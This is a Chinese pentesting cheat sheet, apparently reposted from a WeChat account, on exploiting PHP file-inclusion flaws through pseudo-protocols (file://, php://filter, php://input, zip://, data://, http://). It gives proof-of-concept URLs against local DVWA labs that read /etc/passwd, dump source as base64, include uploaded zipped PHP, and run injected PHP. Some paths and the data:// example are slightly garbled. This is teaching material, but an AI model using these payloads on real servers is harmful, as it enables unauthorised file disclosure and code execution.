0x00 文件包含漏洞
漏洞参数原因:源码采用include危险函数,传入对象参数由用户输入控制,可访问上传的包含文件页面。漏洞利用前提:知道包含文件解析的绝对路径,可访问绝对路径页面 常见的为协议分类:
file:// 访问本地文件系统
http:// 访问 HTTPs 网址
ftp:// 访问 ftp URL
Php:// 访问输入输出流
Zlib:// 压缩流
Data:// 数据
Ssh2:// security shell2
Expect:// 处理交互式的流
Glob:// 查找匹配的文件路径
0x01 伪协议-file
利用条件:allow_url_fopen: off/on allow_url_include: off/on
Linux :http://127.0.0.1/FI/LFI.php?file=file:///etc/passwd 绝对路径
Windows :http://127.0.0.1:8001/vulnerabilities/fi/?page=file:///C:DVWA-mastervulnerabilitiesfi1.txt 绝对路径
0x02 PHP伪协议
php://伪协议,主要为php://input与php://filter
php://input:将POST输入流当做PHP代码执行。其只受 allow_url_include参数的影响,allow_url_fopen开关与此伪协议无关。
php://filter伪协议:不受 allow_url_fopen与allow_url_include参数的影响
**POC**:
http://127.0.0.1:8001/vulnerabilities/fi/?page=php://filter/resource=./1.txt 相对路径
http://127.0.0.1:8001/vulnerabilities/fi/?page=php://filter/resource=file:///C:DVWA-mastervulnerabilitiesfi1.txt 绝对路径
http://127.0.0.1/FI/LFI.php?file=php://filter/resource=file:///etc/passwd
此协议主要用于读取php源代码时会用到
http://127.0.0.1:8001/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=./1.txt 以base64编码将内容输出
「zip」
条件:allow_url_fopen: off/on allow_url_include: off/on
1 、现将要执行 php 代码写好并且命名为 a.txt,将 a.txt 进行 zip 压缩,命名为 a.zip,如果可以上传 zip 文件便直接上传,如若不能可将 a.zip 命名为 a.jpg 上传;
2 、将 a.php 直接压缩成 a.bz2
http://127.0.0.1/LFI.php?file=zip://D:/phpstudy/PHPTutorial/WWW/a.zip%23a.txt
http://127.0.0.1/FI/LFI.php?file=zip://D:/phpstudy/PHPTutorial/WWW/a.jpg%23a.txt
「phar」
条件:allow_url_fopen: off/on allow_url_include: off/on php 版本大于等于php5.3.0
「data」
allow_url_fopen: on allow_url_include: on
http://192.168.6.128:8001/vulnerabilities/fi/?page=data://test/plain,<?php phpinfo();?>
http://192.168.6.128:8001/vulnerabilities/fi/?page=data://test/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
「input」
条件:allow_url_fopen:off/on allow_url_include:on
http://127.0.0.1/LFI.php?file=php://input
用post方式提交这个数据 <?php phpinfo()?>
「http」
allow_url_fopen与allow_url_include同时开启。缺一不可
http://localhost/test.php?file=http://www.baidu.com
原文始发于微信公众号(Gaobai文库):文件包含伪协议总结备忘录(渗透必备!)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论